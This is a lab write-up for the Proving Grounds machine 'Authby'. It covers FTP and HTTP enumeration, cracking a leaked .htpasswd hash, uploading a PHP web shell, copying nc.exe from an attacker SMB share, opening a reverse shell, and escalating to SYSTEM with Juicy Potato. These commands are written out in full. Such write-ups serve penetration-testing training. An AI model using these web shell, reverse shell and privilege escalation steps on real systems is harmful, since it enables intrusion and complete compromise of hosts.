> For the complete documentation index, see [llms.txt](https://pentesting.zeyu2001.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://pentesting.zeyu2001.com/proving-grounds/get-to-work/authby.md).

# Authby

Writeup for Authby from Offensive Security Proving Grounds (PG)

## Service Enumeration

`nmapAutomator.sh -H 192.168.85.46 -t full`

`nmapAutomator.sh -H 192.168.85.46 -t vulns`

### FTP

Anonymous login allowed.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadXfNcM9v7WmlLncKg%2F40cfb057749e43a990907b307b638aba.png?alt=media\&token=f91623c5-16c0-4223-a3a1-2be8b79688e3)

While we cannot access these files, we can see that there are some account names.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadXiE_cH4Li2XQWSSl%2F0a2edee418e842e4b7c1828d8e2b8b1c.png?alt=media\&token=28a6fb44-3e57-4827-b70e-8928672ce024)

Using the account `admin:admin`, we get access to some other files.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadXmeh055WyDtgQUnN%2F7be4c6dead964fbfaec383280f08c380.png?alt=media\&token=f9db2bd5-5888-488f-a39e-770aabbdcd4d)

The `.htaccess` and `.htpasswd` files are leaked.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadXw2upjOEf_Z26MPL%2Fe776c36431db4b93a15994031cc7939e.png?alt=media\&token=e927f079-0315-4063-a272-599ca3fb2f57)

.htaccess

```
AuthName "Qui e nuce nuculeum esse volt, frangit nucem!"
AuthType Basic
AuthUserFile c:\\wamp\www\.htpasswd
<Limit GET POST PUT>
Require valid-user
</Limit>
```

.htpasswd

```
offsec:$apr1$oRfRsc/K$UpYpplHDlaemqseM39Ugg0
```

Passing the `.htpasswd` hash into John the Ripper, we find the credentials to authenticate into the HTTP server.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadXzhzgm-OzVSjrsnf%2Fbfb9cc2aaeab49158478a651a9d8a10d.png?alt=media\&token=16aeffc9-6b58-4312-b4be-cce3f67764f9)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadY0kOS_jF1p3jw5h6%2F2cd7d80a55de4d43a0b44df1f215b49c.png?alt=media\&token=79272744-c347-4e9a-818a-fb21b8d7fa8f)

### RDP

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadY3fQsfHGm3NbFZiG%2Fdf3789bd1922460f8f7a9d819749753b.png?alt=media\&token=21a18c79-19be-45c1-9b9d-9415d55db55d)

### Nonstandard Ports

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadY76Jsst-jzhbW-4U%2F5c7893d2d0964eebae8877ae720acdae.png?alt=media\&token=732f9685-3088-4a07-a659-918ecf759da1)

### HTTP

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadYBjXpH_GzQksHxDb%2Fa13f5f2be1f74edcb940d14977663974.png?alt=media\&token=92ae56ac-0431-4ae6-85cc-a48cbe9ef8c4)

Using the previously found credentials (`offsec:elite`), we can authenticate into the application.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadYFL5F3_KnoNUydZ7%2Ff8c64ee6bb2540ba95059dc4d09f9328.png?alt=media\&token=c6e9662e-f107-4d07-a111-7bc9afa082c4)

### Subdirectory Enumeration

`gobuster dir -u http://192.168.85.46:242/ -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50 -U offsec -P elite`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadYIzqbbtUSKYFOTm7%2Fe9e3eed9a56843f998f59dc7f3dc5db1.png?alt=media\&token=1961a1a7-bdd4-437d-ad99-52021257753e)

`gobuster dir -u http://192.168.85.46:242/phpmyadmin -w /usr/share/dirb/wordlists/common.txt -k -x .txt,.php --threads 50 -U offsec -P elite -s 200,204,301,302,307,401`

## Exploitation

Using the PHP backdoor from `/usr/share/webshells/php/simple-backdoor.php`, we can upload this backdoor through the `admin` FTP account to the web root. Then, we can visit the `simple-backdoor.php` and use the `cmd=` parameter to achieve RCE.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-MadZtESeN0hNTXrq5gB%2Fbc1ba58429bc4867800b3b6cb46e556f.png?alt=media\&token=aae45bf7-6357-4e95-a809-c0b40d4c28d8)

Copy `nc.exe` through SMB:

`http://192.168.85.46:242/simple-backdoor.php?cmd=copy \\192.168.49.85\ROPNOP\netcat\nc.exe .`

Trigger a reverse shell:

`http://192.168.85.46:242/simple-backdoor.php?cmd=nc.exe -e cmd.exe 192.168.49.85 443`

On our listening machine, we get a reverse shell.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_5-p9W7ZZtrXbi2u%2F54b41425cb8b4a96af76ab0675f16f86.png?alt=media\&token=edbf70b5-f692-4db8-b4d8-fe73ac08e748)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_8-VgsTflDIu_1zS%2Fb24523a311fc49bb965e3d59dc2c33ba.png?alt=media\&token=7370ad8d-ad25-4151-be25-65e2a745c9f4)

## Privilege Escalation

First, we know that `SeImpersonatePrivilege` is enabled.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_AlRF_tTDNqCeRV1%2Fd717307d71944017b76803599566a274.png?alt=media\&token=f65296ca-be70-42d9-984f-f414316e5cba)

We can perform privilege escalation using Juicy Potato.

However, there are two challenges.

1. This is an x86 system, so we need an x86 Juicy Potato executable. I used the one from here: <https://github.com/ivanitlearning/Juicy-Potato-x86/releases>
2. The default CLSID doesn't work. Juicy Potato will return `COM -> recv failed with error: 10038`.

`systeminfo` shows that this is Windows Server 2008.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_NN84nAChOzHlVg9%2Fc030a1ac33394a86ba17426d70dd3e14.png?alt=media\&token=6f782a26-76f4-4b83-a0c0-f5e1b3071205)

We can use one of the BITS CSLIDs from here: <https://github.com/ohpe/juicy-potato/tree/master/CLSID/Windows_Server_2008_R2_Enterprise>. I used `{F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}`.

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_RHKJA_M64fZuiRq%2Ffe5b98fc281e4f108da259928e60e839.png?alt=media\&token=61ca6b3a-140f-40cd-8c66-e5c82c71dc40)

Now, we can use the `nc.exe` we transferred previously to get another reverse shell, this time with SYSTEM privileges.

`juicy.potato.x86.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\wamp\www\nc.exe -e cmd.exe 192.168.49.85 443" -t * -c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}`

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_U7eBddgurKeckVj%2Fc157e7dea6834ec6a3d240f1ce3eb823.png?alt=media\&token=537415bc-9a55-44fb-9824-e497aeafa411)

On our listening machine:

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad_X7gDy37I3DdV4_l%2Fab393a6a63df465e8439202e42aa018e.png?alt=media\&token=6632b1cb-12b6-4a78-b07b-76bfcc1d20d7)

![](https://3387855474-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MacgVh0eYEyBhMYCCfP%2F-Macx9Lt3SwZgmbMRoGA%2F-Mad__CyRLbFxkMgBRVt%2F51120c1f70f14bfa92f41d88bb66a50d.png?alt=media\&token=8f6a869d-106a-45ce-a0d0-b296d784de16)
